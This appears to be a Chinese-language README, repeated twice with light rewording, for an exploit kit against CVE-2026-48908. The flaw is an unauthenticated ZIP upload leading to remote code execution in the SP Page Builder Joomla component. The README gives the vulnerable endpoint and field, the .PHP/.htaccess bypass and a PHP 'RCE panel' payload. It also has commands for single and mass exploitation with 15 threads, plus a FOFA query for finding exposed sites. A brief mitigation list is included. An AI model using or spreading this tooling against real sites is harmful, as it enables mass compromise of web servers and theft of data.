CVE-2026-48908

---

📌 摘要

SP Page Builder (Joomla) — 未认证 ZIP 上传 → RCE

产品	SP Page Builder — com_sppagebuilder (JoomShaper)
版本	≤ 6.6.1
修复版本	6.6.2+ — 上传现在需要管理员权限
认证	未认证
攻击向量	POST …&task=asset.uploadCustomIcon
字段	custom_icon（图标字体 ZIP）
写入位置	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
绕过方式	.PHP + fonts/.htaccess

🛡️ 修复

1. 更新 SP Page Builder 至 6.6.2+
2. /media/com_sppagebuilder/ → 关闭 PHP 执行
3. AllowOverride None — 阻止 .htaccess
4. WAF：对 custom_icon ZIP POST 进行速率限制

📦 安装

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

文件	任务
winrarzips_brand.py	CMD 横幅（by winrarzips）
sppb48908_core.py	漏洞利用引擎
CVE-2026-48908-Suite.py	批量 + 单目标 CLI
CVE-2026-48908.py	单目标包装器
payloads/x7-panel.php	RCE 面板
requirements.txt	依赖项

❌ 目标列表、扫描结果和面板 URL 不在仓库中。

🎯 单一目标

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 批量（在你自己的列表中）

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ 标签

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 摘要

SP Page Builder (Joomla) — 未认证 ZIP 上传 → RCE

产品	SP Page Builder — com_sppagebuilder (JoomShaper)
受影响版本	≤ 6.6.1
修复版本	6.6.2+ — 上传需要管理员权限
认证	未认证
向量	POST …&task=asset.uploadCustomIcon
字段	custom_icon (图标字体 ZIP)
写入路径	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
绕过方式	.PHP + fonts/.htaccess

🛡️ 修复建议

1. 将 SP Page Builder 升级至 6.6.2+
2. 在 /media/com_sppagebuilder/ 下禁用 PHP 执行
3. AllowOverride None — 阻止 .htaccess 注册 PHP
4. WAF：对 custom_icon ZIP 上传进行速率限制

📦 安装

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

文件	作用
winrarzips_brand.py	CMD 横幅（by winrarzips）
sppb48908_core.py	漏洞利用核心
CVE-2026-48908-Suite.py	批量 + 单目标 CLI
CVE-2026-48908.py	单目标封装
payloads/x7-panel.php	RCE 面板载荷
requirements.txt	依赖项

❌ 目标列表、扫描结果和实时面板 URL 不包含在内。

🎯 单目标

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 批量（你自己的列表）

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ 错误标签

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---